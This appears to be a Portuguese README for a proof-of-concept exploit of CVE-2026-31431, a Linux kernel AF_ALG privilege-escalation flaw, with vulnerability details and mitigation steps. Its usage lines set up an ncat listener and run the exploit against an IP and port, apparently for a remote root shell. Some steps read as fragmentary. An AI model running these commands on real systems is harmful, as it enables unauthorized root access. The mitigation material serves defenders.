
Exploit de escalada de privilégios local para CVE-2026-31431, uma falha lógica no AF_ALG do kernel Linux que permite que usuários não privilegiados gravem 4 bytes no cache de páginas e obtenham root. Inclui script PoC e orientações de mitigação.
Copy Fail é uma vulnerabilidade de escalonamento local de privilégios (LPE) de alta gravidade no subsistema criptográfico do kernel Linux (algif_aead). Descoberta e divulgada pela Theori (por meio de sua ferramenta de pesquisa de vulnerabilidades assistida por IA Xint Code) em 29 de abril de 2026, a falha permite que qualquer usuário local sem privilégios grave 4 bytes controlados no cache de páginas de qualquer arquivo legível — e aproveite isso para obter root em praticamente todas as principais distribuições Linux lançadas desde 2017.
Um exploit de prova de conceito funcional tem apenas ~732 bytes de Python.
sudo ncat -lvnp PORTA
# Usando script Python
python3 CVE-2026-31431-Exploit.py IP PORTA
# Binário compilado
chmod +x CVE-2026-31431-Exploit
./CVE-2026-31431-Exploit IP PORTA
AF_ALG e vincule a authencesn(hmac(sha256),cbc(aes))Essencialmente toda distribuição Linux importante lançada desde 2017 é afetada.
Atualize seu kernel para uma versão que contenha o commit de correção fafe0fa2995a. A maioria das principais distribuições lançou ou está lançando pacotes de kernel atualizados.
Se você não puder corrigir imediatamente:
algif_aead na lista negra:
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo modprobe -r algif_aead 2>/dev/null
Este repositório é para fins educacionais e defensivos apenas. As informações aqui têm o objetivo de ajudar equipes de segurança a entender, detectar e mitigar o CVE-2026-31431. Sempre siga práticas de divulgação responsável e leis aplicáveis.
| Campo | Detalhe |
|---|
| ID CVE | CVE-2026-31431 |
| Pontuação CVSS | 7.8 (ALTA) |
| Tipo | Escalonamento Local de Privilégios (LPE) |
| Componente | algif_aead — interface criptográfica AF_ALG do kernel Linux para espaço do usuário |
| Causa Raiz | Falha lógica no template AEAD authencesn; uma otimização in-place (commit 72548b093ee3, ago 2017) faz com que páginas do cache de páginas apareçam no scatterlist de destino gravável do kernel |
| Primitiva | Gravação controlada de 4 bytes no cache de páginas de qualquer arquivo legível |
| Mecanismo do Exploit | Socket AF_ALG → splice() → corrupção do cache de páginas de um binário setuid → root |
| Condição de Corrida? | ❌ Nenhuma — falha lógica direta, 100% confiável |
| Offset do Kernel Necessário? | ❌ Não |
| Commit de Correção | fafe0fa2995a (reverte a otimização de 2017) |
| Afetadas | Não Afetadas |
|---|
| Kernel Linux 4.14 até 7.0-rc | Kernels anteriores a 4.14 (antes do commit de ago 2017) |
| Todas as 6.18.x anteriores a 6.18.22 | 6.18.22+ (corrigidas) |
| Todas as 6.19.x anteriores a 6.19.12 | 6.19.12+ (corrigidas) |